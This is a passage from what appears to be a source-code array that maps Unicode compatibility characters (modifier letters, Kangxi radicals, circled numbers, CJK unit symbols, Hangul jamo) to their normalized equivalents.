=> 'ɻ', 'ʶ' => 'ʁ', 'ʷ' => 'w', 'ʸ' => 'y', '˘' => ' ̆', '˙' => ' ̇', '˚' => ' ̊', '˛' => ' ̨', '˜' => ' ̃', '˝' => ' ̋', 'ˠ' => 'ɣ', 'ˡ' => 'l', 'ˢ' => 's', 'ˣ' => 'x', 'ˤ' => 'ʕ', 'ͺ' => ' ͅ', '΄' => ' ́', '΅' => ' ̈́', 'ϐ' => 'β', 'ϑ' => 'θ', 'ϒ' => 'Υ', 'ϓ' => 'Ύ', 'ϔ' => 'Ϋ', 'ϕ' => 'φ', 'ϖ' => 'π', 'ϰ' => 'κ', 'ϱ' => 'ρ', 'ϲ' => 'ς', 'ϴ' => 'Θ', 'ϵ' => 'ε', 'Ϲ' => 'Σ', 'և' => 'եւ', 'ٵ' => 'اٴ', 'ٶ' => 'وٴ', 'ٷ' => 'ۇٴ', 'ٸ' => 'يٴ', 'ำ' => 'ํา', 'ຳ' => 'ໍາ', 'ໜ' => 'ຫນ', 'ໝ' => 'ຫມ', '༌' => '་', 'ཷ' => 'ྲཱྀ', 'ཹ' => 'ླཱྀ', 'ჼ' => 'ნ', 'ᴬ' => 'A', 'ᴭ' => 'Æ', 'ᴮ' => 'B', 'ᴰ' => 'D', 'ᴱ' => 'E', 'ᴲ' => 'Ǝ', 'ᴳ' => 'G', 'ᴴ' => 'H', 'ᴵ' => 'I', 'ᴶ' => 'J', 'ᴷ' => 'K', 'ᴸ' => 'L', 'ᴹ' => 'M', 'ᴺ' => 'N', 'ᴼ' => 'O', 'ᴽ' => 'Ȣ', 'ᴾ' => 'P', 'ᴿ' => 'R', 'ᵀ' => 'T', 'ᵁ' => 'U', 'ᵂ' => 'W', 'ᵃ' => 'a', 'ᵄ' => 'ɐ', 'ᵅ' => 'ɑ', 'ᵆ' => 'ᴂ', 'ᵇ' => 'b', 'ᵈ' => 'd', 'ᵉ' => 'e', 'ᵊ' => 'ə', 'ᵋ' => 'ɛ', 'ᵌ' => 'ɜ', 'ᵍ' => 'g', 'ᵏ' => 'k', 'ᵐ' => 'm', 'ᵑ' => 'ŋ', 'ᵒ' => 'o', 'ᵓ' => 'ɔ', 'ᵔ' => 'ᴖ', 'ᵕ' => 'ᴗ', 'ᵖ' => 'p', 'ᵗ' => 't', 'ᵘ' => 'u', 'ᵙ' => 'ᴝ', 'ᵚ' => 'ɯ', 'ᵛ' => 'v', 'ᵜ' => 'ᴥ', 'ᵝ' => 'β', 'ᵞ' => 'γ', 'ᵟ' => 'δ', 'ᵠ' => 'φ', 'ᵡ' => 'χ', 'ᵢ' => 'i', 'ᵣ' => 'r', 'ᵤ' => 'u', 'ᵥ' => 'v', 'ᵦ' => 'β', 'ᵧ' => 'γ', 'ᵨ' => 'ρ', 'ᵩ' => 'φ', 'ᵪ' => 'χ', 'ᵸ' => 'н', 'ᶛ' => 'ɒ', 'ᶜ' => 'c', 'ᶝ' => 'ɕ', 'ᶞ' => 'ð', 'ᶟ' => 'ɜ', 'ᶠ' => 'f', 'ᶡ' => 'ɟ', 'ᶢ' => 'ɡ', 'ᶣ' => 'ɥ', 'ᶤ' => 'ɨ', 'ᶥ' => 'ɩ', 'ᶦ' => 'ɪ', 'ᶧ' => 'ᵻ', 'ᶨ' => 'ʝ', 'ᶩ' => 'ɭ', 'ᶪ' => 'ᶅ', 'ᶫ' => 'ʟ', 'ᶬ' => 'ɱ', 'ᶭ' => 'ɰ', 'ᶮ' => 'ɲ', 'ᶯ' => 'ɳ', 'ᶰ' => 'ɴ', 'ᶱ' => 'ɵ', 'ᶲ' => 'ɸ', 'ᶳ' => 'ʂ', 'ᶴ' => 'ʃ', 'ᶵ' => 'ƫ', 'ᶶ' => 'ʉ', 'ᶷ' => 'ʊ', 'ᶸ' => 'ᴜ', 'ᶹ' => 'ʋ', 'ᶺ' => 'ʌ', 'ᶻ' => 'z', 'ᶼ' => 'ʐ', 'ᶽ' => 'ʑ', 'ᶾ' => 'ʒ', 'ᶿ' => 'θ', 'ẚ' => 'aʾ', 'ẛ' => 'ṡ', '᾽' => ' ̓', '᾿' => ' ̓', '῀' => ' ͂', '῁' => ' ̈͂', '῍' => ' ̓̀', '῎' => ' ̓́', '῏' => ' ̓͂', '῝' => ' ̔̀', '῞' => ' ̔́', '῟' => ' ̔͂', '῭' => ' ̈̀', '΅' => ' ̈́', '´' => ' ́', '῾' => ' ̔', ' ' => ' ', ' ' => ' ', ' ' => ' ', ' ' => ' ', ' ' => ' ', ' ' => ' ', ' ' => ' ', ' ' => ' ', ' ' => ' ', ' ' => ' ', ' ' => ' ', '‑' => '‐', '‗' => ' ̳', '․' => '.', '‥' => '..', '…' => '...', ' ' => ' ', '″' => '′′', '‴' => '′′′', '‶' => '‵‵', '‷' => '‵‵‵', '‼' => '!!', '‾' => ' ̅', '⁇' => '??', '⁈' => '?!', '⁉' => '!?', '⁗' => '′′′′', ' ' => ' ', '⁰' => '0', 'ⁱ' => 'i', '⁴' => '4', '⁵' => '5', '⁶' => '6', '⁷' => '7', '⁸' => '8', '⁹' => '9', '⁺' => '+', '⁻' => '−', '⁼' => '=', '⁽' => '(', '⁾' => ')', 'ⁿ' => 'n', '₀' => '0', '₁' => '1', '₂' => '2', '₃' => '3', '₄' => '4', '₅' => '5', '₆' => '6', '₇' => '7', '₈' => '8', '₉' => '9', '₊' => '+', '₋' => '−', '₌' => '=', '₍' => '(', '₎' => ')', 'ₐ' => 'a', 'ₑ' => 'e', 'ₒ' => 'o', 'ₓ' => 'x', 'ₔ' => 'ə', 'ₕ' => 'h', 'ₖ' => 'k', 'ₗ' => 'l', 'ₘ' => 'm', 'ₙ' => 'n', 'ₚ' => 'p', 'ₛ' => 's', 'ₜ' => 't', '₨' => 'Rs', '℀' => 'a/c', '℁' => 'a/s', 'ℂ' => 'C', '℃' => '°C', '℅' => 'c/o', '℆' => 'c/u', 'ℇ' => 'Ɛ', '℉' => '°F', 'ℊ' => 'g', 'ℋ' => 'H', 'ℌ' => 'H', 'ℍ' => 'H', 'ℎ' => 'h', 'ℏ' => 'ħ', 'ℐ' => 'I', 'ℑ' => 'I', 'ℒ' => 'L', 'ℓ' => 'l', 'ℕ' => 'N', '№' => 'No', 'ℙ' => 'P', 'ℚ' => 'Q', 'ℛ' => 'R', 'ℜ' => 'R', 'ℝ' => 'R', '℠' => 'SM', '℡' => 'TEL', '™' => 'TM', 'ℤ' => 'Z', 'ℨ' => 'Z', 'ℬ' => 'B', 'ℭ' => 'C', 'ℯ' => 'e', 'ℰ' => 'E', 'ℱ' => 'F', 'ℳ' => 'M', 'ℴ' => 'o', 'ℵ' => 'א', 'ℶ' => 'ב', 'ℷ' => 'ג', 'ℸ' => 'ד', 'ℹ' => 'i', '℻' => 'FAX', 'ℼ' => 'π', 'ℽ' => 'γ', 'ℾ' => 'Γ', 'ℿ' => 'Π', '⅀' => '∑', 'ⅅ' => 'D', 'ⅆ' => 'd', 'ⅇ' => 'e', 'ⅈ' => 'i', 'ⅉ' => 'j', '⅐' => '1⁄7', '⅑' => '1⁄9', '⅒' => '1⁄10', '⅓' => '1⁄3', '⅔' => '2⁄3', '⅕' => '1⁄5', '⅖' => '2⁄5', '⅗' => '3⁄5', '⅘' => '4⁄5', '⅙' => '1⁄6', '⅚' => '5⁄6', '⅛' => '1⁄8', '⅜' => '3⁄8', '⅝' => '5⁄8', '⅞' => '7⁄8', '⅟' => '1⁄', 'Ⅰ' => 'I', 'Ⅱ' => 'II', 'Ⅲ' => 'III', 'Ⅳ' => 'IV', 'Ⅴ' => 'V', 'Ⅵ' => 'VI', 'Ⅶ' => 'VII', 'Ⅷ' => 'VIII', 'Ⅸ' => 'IX', 'Ⅹ' => 'X', 'Ⅺ' => 'XI', 'Ⅻ' => 'XII', 'Ⅼ' => 'L', 'Ⅽ' => 'C', 'Ⅾ' => 'D', 'Ⅿ' => 'M', 'ⅰ' => 'i', 'ⅱ' => 'ii', 'ⅲ' => 'iii', 'ⅳ' => 'iv', 'ⅴ' => 'v', 'ⅵ' => 'vi', 'ⅶ' => 'vii', 'ⅷ' => 'viii', 'ⅸ' => 'ix', 'ⅹ' => 'x', 'ⅺ' => 'xi', 'ⅻ' => 'xii', 'ⅼ' => 'l', 'ⅽ' => 'c', 'ⅾ' => 'd', 'ⅿ' => 'm', '↉' => '0⁄3', '∬' => '∫∫', '∭' => '∫∫∫', '∯' => '∮∮', '∰' => '∮∮∮', '①' => '1', '②' => '2', '③' => '3', '④' => '4', '⑤' => '5', '⑥' => '6', '⑦' => '7', '⑧' => '8', '⑨' => '9', '⑩' => '10', '⑪' => '11', '⑫' => '12', '⑬' => '13', '⑭' => '14', '⑮' => '15', '⑯' => '16', '⑰' => '17', '⑱' => '18', '⑲' => '19', '⑳' => '20', '⑴' => '(1)', '⑵' => '(2)', '⑶' => '(3)', '⑷' => '(4)', '⑸' => '(5)', '⑹' => '(6)', '⑺' => '(7)', '⑻' => '(8)', '⑼' => '(9)', '⑽' => '(10)', '⑾' => '(11)', '⑿' => '(12)', '⒀' => '(13)', '⒁' => '(14)', '⒂' => '(15)', '⒃' => '(16)', '⒄' => '(17)', '⒅' => '(18)', '⒆' => '(19)', '⒇' => '(20)', '⒈' => '1.', '⒉' => '2.', '⒊' => '3.', '⒋' => '4.', '⒌' => '5.', '⒍' => '6.', '⒎' => '7.', '⒏' => '8.', '⒐' => '9.', '⒑' => '10.', '⒒' => '11.', '⒓' => '12.', '⒔' => '13.', '⒕' => '14.', '⒖' => '15.', '⒗' => '16.', '⒘' => '17.', '⒙' => '18.', '⒚' => '19.', '⒛' => '20.', '⒜' => '(a)', '⒝' => '(b)', '⒞' => '(c)', '⒟' => '(d)', '⒠' => '(e)', '⒡' => '(f)', '⒢' => '(g)', '⒣' => '(h)', '⒤' => '(i)', '⒥' => '(j)', '⒦' => '(k)', '⒧' => '(l)', '⒨' => '(m)', '⒩' => '(n)', '⒪' => '(o)', '⒫' => '(p)', '⒬' => '(q)', '⒭' => '(r)', '⒮' => '(s)', '⒯' => '(t)', '⒰' => '(u)', '⒱' => '(v)', '⒲' => '(w)', '⒳' => '(x)', '⒴' => '(y)', '⒵' => '(z)', 'Ⓐ' => 'A', 'Ⓑ' => 'B', 'Ⓒ' => 'C', 'Ⓓ' => 'D', 'Ⓔ' => 'E', 'Ⓕ' => 'F', 'Ⓖ' => 'G', 'Ⓗ' => 'H', 'Ⓘ' => 'I', 'Ⓙ' => 'J', 'Ⓚ' => 'K', 'Ⓛ' => 'L', 'Ⓜ' => 'M', 'Ⓝ' => 'N', 'Ⓞ' => 'O', 'Ⓟ' => 'P', 'Ⓠ' => 'Q', 'Ⓡ' => 'R', 'Ⓢ' => 'S', 'Ⓣ' => 'T', 'Ⓤ' => 'U', 'Ⓥ' => 'V', 'Ⓦ' => 'W', 'Ⓧ' => 'X', 'Ⓨ' => 'Y', 'Ⓩ' => 'Z', 'ⓐ' => 'a', 'ⓑ' => 'b', 'ⓒ' => 'c', 'ⓓ' => 'd', 'ⓔ' => 'e', 'ⓕ' => 'f', 'ⓖ' => 'g', 'ⓗ' => 'h', 'ⓘ' => 'i', 'ⓙ' => 'j', 'ⓚ' => 'k', 'ⓛ' => 'l', 'ⓜ' => 'm', 'ⓝ' => 'n', 'ⓞ' => 'o', 'ⓟ' => 'p', 'ⓠ' => 'q', 'ⓡ' => 'r', 'ⓢ' => 's', 'ⓣ' => 't', 'ⓤ' => 'u', 'ⓥ' => 'v', 'ⓦ' => 'w', 'ⓧ' => 'x', 'ⓨ' => 'y', 'ⓩ' => 'z', '⓪' => '0', '⨌' => '∫∫∫∫', '⩴' => '::=', '⩵' => '==', '⩶' => '===', 'ⱼ' => 'j', 'ⱽ' => 'V', 'ⵯ' => 'ⵡ', '⺟' => '母', '⻳' => '龟', '⼀' => '一', '⼁' => '丨', '⼂' => '丶', '⼃' => '丿', '⼄' => '乙', '⼅' => '亅', '⼆' => '二', '⼇' => '亠', '⼈' => '人', '⼉' => '儿', '⼊' => '入', '⼋' => '八', '⼌' => '冂', '⼍' => '冖', '⼎' => '冫', '⼏' => '几', '⼐' => '凵', '⼑' => '刀', '⼒' => '力', '⼓' => '勹', '⼔' => '匕', '⼕' => '匚', '⼖' => '匸', '⼗' => '十', '⼘' => '卜', '⼙' => '卩', '⼚' => '厂', '⼛' => '厶', '⼜' => '又', '⼝' => '口', '⼞' => '囗', '⼟' => '土', '⼠' => '士', '⼡' => '夂', '⼢' => '夊', '⼣' => '夕', '⼤' => '大', '⼥' => '女', '⼦' => '子', '⼧' => '宀', '⼨' => '寸', '⼩' => '小', '⼪' => '尢', '⼫' => '尸', '⼬' => '屮', '⼭' => '山', '⼮' => '巛', '⼯' => '工', '⼰' => '己', '⼱' => '巾', '⼲' => '干', '⼳' => '幺', '⼴' => '广', '⼵' => '廴', '⼶' => '廾', '⼷' => '弋', '⼸' => '弓', '⼹' => '彐', '⼺' => '彡', '⼻' => '彳', '⼼' => '心', '⼽' => '戈', '⼾' => '戶', '⼿' => '手', '⽀' => '支', '⽁' => '攴', '⽂' => '文', '⽃' => '斗', '⽄' => '斤', '⽅' => '方', '⽆' => '无', '⽇' => '日', '⽈' => '曰', '⽉' => '月', '⽊' => '木', '⽋' => '欠', '⽌' => '止', '⽍' => '歹', '⽎' => '殳', '⽏' => '毋', '⽐' => '比', '⽑' => '毛', '⽒' => '氏', '⽓' => '气', '⽔' => '水', '⽕' => '火', '⽖' => '爪', '⽗' => '父', '⽘' => '爻', '⽙' => '爿', '⽚' => '片', '⽛' => '牙', '⽜' => '牛', '⽝' => '犬', '⽞' => '玄', '⽟' => '玉', '⽠' => '瓜', '⽡' => '瓦', '⽢' => '甘', '⽣' => '生', '⽤' => '用', '⽥' => '田', '⽦' => '疋', '⽧' => '疒', '⽨' => '癶', '⽩' => '白', '⽪' => '皮', '⽫' => '皿', '⽬' => '目', '⽭' => '矛', '⽮' => '矢', '⽯' => '石', '⽰' => '示', '⽱' => '禸', '⽲' => '禾', '⽳' => '穴', '⽴' => '立', '⽵' => '竹', '⽶' => '米', '⽷' => '糸', '⽸' => '缶', '⽹' => '网', '⽺' => '羊', '⽻' => '羽', '⽼' => '老', '⽽' => '而', '⽾' => '耒', '⽿' => '耳', '⾀' => '聿', '⾁' => '肉', '⾂' => '臣', '⾃' => '自', '⾄' => '至', '⾅' => '臼', '⾆' => '舌', '⾇' => '舛', '⾈' => '舟', '⾉' => '艮', '⾊' => '色', '⾋' => '艸', '⾌' => '虍', '⾍' => '虫', '⾎' => '血', '⾏' => '行', '⾐' => '衣', '⾑' => '襾', '⾒' => '見', '⾓' => '角', '⾔' => '言', '⾕' => '谷', '⾖' => '豆', '⾗' => '豕', '⾘' => '豸', '⾙' => '貝', '⾚' => '赤', '⾛' => '走', '⾜' => '足', '⾝' => '身', '⾞' => '車', '⾟' => '辛', '⾠' => '辰', '⾡' => '辵', '⾢' => '邑', '⾣' => '酉', '⾤' => '釆', '⾥' => '里', '⾦' => '金', '⾧' => '長', '⾨' => '門', '⾩' => '阜', '⾪' => '隶', '⾫' => '隹', '⾬' => '雨', '⾭' => '靑', '⾮' => '非', '⾯' => '面', '⾰' => '革', '⾱' => '韋', '⾲' => '韭', '⾳' => '音', '⾴' => '頁', '⾵' => '風', '⾶' => '飛', '⾷' => '食', '⾸' => '首', '⾹' => '香', '⾺' => '馬', '⾻' => '骨', '⾼' => '高', '⾽' => '髟', '⾾' => '鬥', '⾿' => '鬯', '⿀' => '鬲', '⿁' => '鬼', '⿂' => '魚', '⿃' => '鳥', '⿄' => '鹵', '⿅' => '鹿', '⿆' => '麥', '⿇' => '麻', '⿈' => '黃', '⿉' => '黍', '⿊' => '黑', '⿋' => '黹', '⿌' => '黽', '⿍' => '鼎', '⿎' => '鼓', '⿏' => '鼠', '⿐' => '鼻', '⿑' => '齊', '⿒' => '齒', '⿓' => '龍', '⿔' => '龜', '⿕' => '龠', ' ' => ' ', '〶' => '〒', '〸' => '十', '〹' => '卄', '〺' => '卅', '゛' => ' ゙', '゜' => ' ゚', 'ゟ' => 'より', 'ヿ' => 'コト', 'ㄱ' => 'ᄀ', 'ㄲ' => 'ᄁ', 'ㄳ' => 'ᆪ', 'ㄴ' => 'ᄂ', 'ㄵ' => 'ᆬ', 'ㄶ' => 'ᆭ', 'ㄷ' => 'ᄃ', 'ㄸ' => 'ᄄ', 'ㄹ' => 'ᄅ', 'ㄺ' => 'ᆰ', 'ㄻ' => 'ᆱ', 'ㄼ' => 'ᆲ', 'ㄽ' => 'ᆳ', 'ㄾ' => 'ᆴ', 'ㄿ' => 'ᆵ', 'ㅀ' => 'ᄚ', 'ㅁ' => 'ᄆ', 'ㅂ' => 'ᄇ', 'ㅃ' => 'ᄈ', 'ㅄ' => 'ᄡ', 'ㅅ' => 'ᄉ', 'ㅆ' => 'ᄊ', 'ㅇ' => 'ᄋ', 'ㅈ' => 'ᄌ', 'ㅉ' => 'ᄍ', 'ㅊ' => 'ᄎ', 'ㅋ' => 'ᄏ', 'ㅌ' => 'ᄐ', 'ㅍ' => 'ᄑ', 'ㅎ' => 'ᄒ', 'ㅏ' => 'ᅡ', 'ㅐ' => 'ᅢ', 'ㅑ' => 'ᅣ', 'ㅒ' => 'ᅤ', 'ㅓ' => 'ᅥ', 'ㅔ' => 'ᅦ', 'ㅕ' => 'ᅧ', 'ㅖ' => 'ᅨ', 'ㅗ' => 'ᅩ', 'ㅘ' => 'ᅪ', 'ㅙ' => 'ᅫ', 'ㅚ' => 'ᅬ', 'ㅛ' => 'ᅭ', 'ㅜ' => 'ᅮ', 'ㅝ' => 'ᅯ', 'ㅞ' => 'ᅰ', 'ㅟ' => 'ᅱ', 'ㅠ' => 'ᅲ', 'ㅡ' => 'ᅳ', 'ㅢ' => 'ᅴ', 'ㅣ' => 'ᅵ', 'ㅤ' => 'ᅠ', 'ㅥ' => 'ᄔ', 'ㅦ' => 'ᄕ', 'ㅧ' => 'ᇇ', 'ㅨ' => 'ᇈ', 'ㅩ' => 'ᇌ', 'ㅪ' => 'ᇎ', 'ㅫ' => 'ᇓ', 'ㅬ' => 'ᇗ', 'ㅭ' => 'ᇙ', 'ㅮ' => 'ᄜ', 'ㅯ' => 'ᇝ', 'ㅰ' => 'ᇟ', 'ㅱ' => 'ᄝ', 'ㅲ' => 'ᄞ', 'ㅳ' => 'ᄠ', 'ㅴ' => 'ᄢ', 'ㅵ' => 'ᄣ', 'ㅶ' => 'ᄧ', 'ㅷ' => 'ᄩ', 'ㅸ' => 'ᄫ', 'ㅹ' => 'ᄬ', 'ㅺ' => 'ᄭ', 'ㅻ' => 'ᄮ', 'ㅼ' => 'ᄯ', 'ㅽ' => 'ᄲ', 'ㅾ' => 'ᄶ', 'ㅿ' => 'ᅀ', 'ㆀ' => 'ᅇ', 'ㆁ' => 'ᅌ', 'ㆂ' => 'ᇱ', 'ㆃ' => 'ᇲ', 'ㆄ' => 'ᅗ', 'ㆅ' => 'ᅘ', 'ㆆ' => 'ᅙ', 'ㆇ' => 'ᆄ', 'ㆈ' => 'ᆅ', 'ㆉ' => 'ᆈ', 'ㆊ' => 'ᆑ', 'ㆋ' => 'ᆒ', 'ㆌ' => 'ᆔ', 'ㆍ' => 'ᆞ', 'ㆎ' => 'ᆡ', '㆒' => '一', '㆓' => '二', '㆔' => '三', '㆕' => '四', '㆖' => '上', '㆗' => '中', '㆘' => '下', '㆙' => '甲', '㆚' => '乙', '㆛' => '丙', '㆜' => '丁', '㆝' => '天', '㆞' => '地', '㆟' => '人', '㈀' => '(ᄀ)', '㈁' => '(ᄂ)', '㈂' => '(ᄃ)', '㈃' => '(ᄅ)', '㈄' => '(ᄆ)', '㈅' => '(ᄇ)', '㈆' => '(ᄉ)', '㈇' => '(ᄋ)', '㈈' => '(ᄌ)', '㈉' => '(ᄎ)', '㈊' => '(ᄏ)', '㈋' => '(ᄐ)', '㈌' => '(ᄑ)', '㈍' => '(ᄒ)', '㈎' => '(가)', '㈏' => '(나)', '㈐' => '(다)', '㈑' => '(라)', '㈒' => '(마)', '㈓' => '(바)', '㈔' => '(사)', '㈕' => '(아)', '㈖' => '(자)', '㈗' => '(차)', '㈘' => '(카)', '㈙' => '(타)', '㈚' => '(파)', '㈛' => '(하)', '㈜' => '(주)', '㈝' => '(오전)', '㈞' => '(오후)', '㈠' => '(一)', '㈡' => '(二)', '㈢' => '(三)', '㈣' => '(四)', '㈤' => '(五)', '㈥' => '(六)', '㈦' => '(七)', '㈧' => '(八)', '㈨' => '(九)', '㈩' => '(十)', '㈪' => '(月)', '㈫' => '(火)', '㈬' => '(水)', '㈭' => '(木)', '㈮' => '(金)', '㈯' => '(土)', '㈰' => '(日)', '㈱' => '(株)', '㈲' => '(有)', '㈳' => '(社)', '㈴' => '(名)', '㈵' => '(特)', '㈶' => '(財)', '㈷' => '(祝)', '㈸' => '(労)', '㈹' => '(代)', '㈺' => '(呼)', '㈻' => '(学)', '㈼' => '(監)', '㈽' => '(企)', '㈾' => '(資)', '㈿' => '(協)', '㉀' => '(祭)', '㉁' => '(休)', '㉂' => '(自)', '㉃' => '(至)', '㉄' => '問', '㉅' => '幼', '㉆' => '文', '㉇' => '箏', '㉐' => 'PTE', '㉑' => '21', '㉒' => '22', '㉓' => '23', '㉔' => '24', '㉕' => '25', '㉖' => '26', '㉗' => '27', '㉘' => '28', '㉙' => '29', '㉚' => '30', '㉛' => '31', '㉜' => '32', '㉝' => '33', '㉞' => '34', '㉟' => '35', '㉠' => 'ᄀ', '㉡' => 'ᄂ', '㉢' => 'ᄃ', '㉣' => 'ᄅ', '㉤' => 'ᄆ', '㉥' => 'ᄇ', '㉦' => 'ᄉ', '㉧' => 'ᄋ', '㉨' => 'ᄌ', '㉩' => 'ᄎ', '㉪' => 'ᄏ', '㉫' => 'ᄐ', '㉬' => 'ᄑ', '㉭' => 'ᄒ', '㉮' => '가', '㉯' => '나', '㉰' => '다', '㉱' => '라', '㉲' => '마', '㉳' => '바', '㉴' => '사', '㉵' => '아', '㉶' => '자', '㉷' => '차', '㉸' => '카', '㉹' => '타', '㉺' => '파', '㉻' => '하', '㉼' => '참고', '㉽' => '주의', '㉾' => '우', '㊀' => '一', '㊁' => '二', '㊂' => '三', '㊃' => '四', '㊄' => '五', '㊅' => '六', '㊆' => '七', '㊇' => '八', '㊈' => '九', '㊉' => '十', '㊊' => '月', '㊋' => '火', '㊌' => '水', '㊍' => '木', '㊎' => '金', '㊏' => '土', '㊐' => '日', '㊑' => '株', '㊒' => '有', '㊓' => '社', '㊔' => '名', '㊕' => '特', '㊖' => '財', '㊗' => '祝', '㊘' => '労', '㊙' => '秘', '㊚' => '男', '㊛' => '女', '㊜' => '適', '㊝' => '優', '㊞' => '印', '㊟' => '注', '㊠' => '項', '㊡' => '休', '㊢' => '写', '㊣' => '正', '㊤' => '上', '㊥' => '中', '㊦' => '下', '㊧' => '左', '㊨' => '右', '㊩' => '医', '㊪' => '宗', '㊫' => '学', '㊬' => '監', '㊭' => '企', '㊮' => '資', '㊯' => '協', '㊰' => '夜', '㊱' => '36', '㊲' => '37', '㊳' => '38', '㊴' => '39', '㊵' => '40', '㊶' => '41', '㊷' => '42', '㊸' => '43', '㊹' => '44', '㊺' => '45', '㊻' => '46', '㊼' => '47', '㊽' => '48', '㊾' => '49', '㊿' => '50', '㋀' => '1月', '㋁' => '2月', '㋂' => '3月', '㋃' => '4月', '㋄' => '5月', '㋅' => '6月', '㋆' => '7月', '㋇' => '8月', '㋈' => '9月', '㋉' => '10月', '㋊' => '11月', '㋋' => '12月', '㋌' => 'Hg', '㋍' => 'erg', '㋎' => 'eV', '㋏' => 'LTD', '㋐' => 'ア', '㋑' => 'イ', '㋒' => 'ウ', '㋓' => 'エ', '㋔' => 'オ', '㋕' => 'カ', '㋖' => 'キ', '㋗' => 'ク', '㋘' => 'ケ', '㋙' => 'コ', '㋚' => 'サ', '㋛' => 'シ', '㋜' => 'ス', '㋝' => 'セ', '㋞' => 'ソ', '㋟' => 'タ', '㋠' => 'チ', '㋡' => 'ツ', '㋢' => 'テ', '㋣' => 'ト', '㋤' => 'ナ', '㋥' => 'ニ', '㋦' => 'ヌ', '㋧' => 'ネ', '㋨' => 'ノ', '㋩' => 'ハ', '㋪' => 'ヒ', '㋫' => 'フ', '㋬' => 'ヘ', '㋭' => 'ホ', '㋮' => 'マ', '㋯' => 'ミ', '㋰' => 'ム', '㋱' => 'メ', '㋲' => 'モ', '㋳' => 'ヤ', '㋴' => 'ユ', '㋵' => 'ヨ', '㋶' => 'ラ', '㋷' => 'リ', '㋸' => 'ル', '㋹' => 'レ', '㋺' => 'ロ', '㋻' => 'ワ', '㋼' => 'ヰ', '㋽' => 'ヱ', '㋾' => 'ヲ', '㋿' => '令和', '㌀' => 'アパート', '㌁' => 'アルファ', '㌂' => 'アンペア', '㌃' => 'アール', '㌄' => 'イニング', '㌅' => 'インチ', '㌆' => 'ウォン', '㌇' => 'エスクード', '㌈' => 'エーカー', '㌉' => 'オンス', '㌊' => 'オーム', '㌋' => 'カイリ', '㌌' => 'カラット', '㌍' => 'カロリー', '㌎' => 'ガロン', '㌏' => 'ガンマ', '㌐' => 'ギガ', '㌑' => 'ギニー', '㌒' => 'キュリー', '㌓' => 'ギルダー', '㌔' => 'キロ', '㌕' => 'キログラム', '㌖' => 'キロメートル', '㌗' => 'キロワット', '㌘' => 'グラム', '㌙' => 'グラムトン', '㌚' => 'クルゼイロ', '㌛' => 'クローネ', '㌜' => 'ケース', '㌝' => 'コルナ', '㌞' => 'コーポ', '㌟' => 'サイクル', '㌠' => 'サンチーム', '㌡' => 'シリング', '㌢' => 'センチ', '㌣' => 'セント', '㌤' => 'ダース', '㌥' => 'デシ', '㌦' => 'ドル', '㌧' => 'トン', '㌨' => 'ナノ', '㌩' => 'ノット', '㌪' => 'ハイツ', '㌫' => 'パーセント', '㌬' => 'パーツ', '㌭' => 'バーレル', '㌮' => 'ピアストル', '㌯' => 'ピクル', '㌰' => 'ピコ', '㌱' => 'ビル', '㌲' => 'ファラッド', '㌳' => 'フィート', '㌴' => 'ブッシェル', '㌵' => 'フラン', '㌶' => 'ヘクタール', '㌷' => 'ペソ', '㌸' => 'ペニヒ', '㌹' => 'ヘルツ', '㌺' => 'ペンス', '㌻' => 'ページ', '㌼' => 'ベータ', '㌽' => 'ポイント', '㌾' => 'ボルト', '㌿' => 'ホン', '㍀' => 'ポンド', '㍁' => 'ホール', '㍂' => 'ホーン', '㍃' => 'マイクロ', '㍄' => 'マイル', '㍅' => 'マッハ', '㍆' => 'マルク', '㍇' => 'マンション', '㍈' => 'ミクロン', '㍉' => 'ミリ', '㍊' => 'ミリバール', '㍋' => 'メガ', '㍌' => 'メガトン', '㍍' => 'メートル', '㍎' => 'ヤード', '㍏' => 'ヤール', '㍐' => 'ユアン', '㍑' => 'リットル', '㍒' => 'リラ', '㍓' => 'ルピー', '㍔' => 'ルーブル', '㍕' => 'レム', '㍖' => 'レントゲン', '㍗' => 'ワット', '㍘' => '0点', '㍙' => '1点', '㍚' => '2点', '㍛' => '3点', '㍜' => '4点', '㍝' => '5点', '㍞' => '6点', '㍟' => '7点', '㍠' => '8点', '㍡' => '9点', '㍢' => '10点', '㍣' => '11点', '㍤' => '12点', '㍥' => '13点', '㍦' => '14点', '㍧' => '15点', '㍨' => '16点', '㍩' => '17点', '㍪' => '18点', '㍫' => '19点', '㍬' => '20点', '㍭' => '21点', '㍮' => '22点', '㍯' => '23点', '㍰' => '24点', '㍱' => 'hPa', '㍲' => 'da', '㍳' => 'AU', '㍴' => 'bar', '㍵' => 'oV', '㍶' => 'pc', '㍷' => 'dm', '㍸' => 'dm2', '㍹' => 'dm3', '㍺' => 'IU', '㍻' => '平成', '㍼' => '昭和', '㍽' => '大正', '㍾' => '明治', '㍿' => '株式会社', '㎀' => 'pA', '㎁' => 'nA', '㎂' => 'μA', '㎃' => 'mA', '㎄' => 'kA', '㎅' => 'KB', '㎆' => 'MB', '㎇' => 'GB', '㎈' => 'cal', '㎉' => 'kcal', '㎊' => 'pF', '㎋' => 'nF', '㎌' => 'μF', '㎍' => 'μg', '㎎' => 'mg', '㎏' => 'kg', '㎐' => 'Hz', '㎑' => 'kHz', '㎒' => 'MHz', '㎓' => 'GHz', '㎔' => 'THz', '㎕' => 'μl', '㎖' => 'ml', '㎗' => 'dl', '㎘' => 'kl', '㎙' => 'fm', '㎚' => 'nm', '㎛' => 'μm', '㎜' => 'mm', '㎝' => 'cm', '㎞' => 'km', '㎟' => 'mm2', '㎠' => 'cm2', '㎡' => 'm2', '㎢' => 'km2', '㎣' => 'mm3', '㎤' => 'cm3', '㎥' => 'm3', '㎦' => 'km3', '㎧' => 'm∕s', '㎨' => 'm∕s2', '㎩' => 'Pa', '㎪' => 'kPa', '㎫' => 'MPa', '㎬' => 'GPa', '㎭' => 'rad', '㎮' => 'rad∕s', '㎯' => 'rad∕s2', '㎰' => 'ps', '㎱' => 'ns', '㎲' => 'μs', '㎳' => 'ms', '㎴' => 'pV', '㎵' => 'nV', '㎶' => 'μV', '㎷' => 'mV', '㎸' => 'kV', '㎹' => 'MV', '㎺' => 'pW', '㎻' => 'nW', '㎼' => 'μW', '㎽' => 'mW', '㎾' => 'kW', '㎿' => 'MW', '㏀' => 'kΩ', '㏁' => 'MΩ', '㏂' => 'a.m.', '㏃' => 'Bq', '㏄' => 'cc', '㏅' => 'cd', '㏆' => 'C∕kg', '㏇' => 'Co.', '㏈' => 'dB', '㏉' => 'Gy', '㏊' => 'ha', '㏋' => 'HP', '㏌' => 'in', '㏍' => 'KK', '㏎' => 'KM', '㏏' => 'kt', '㏐' => 'lm', '㏑' => 'ln', '㏒' => 'log', '㏓' => 'lx', '㏔' => 'mb', 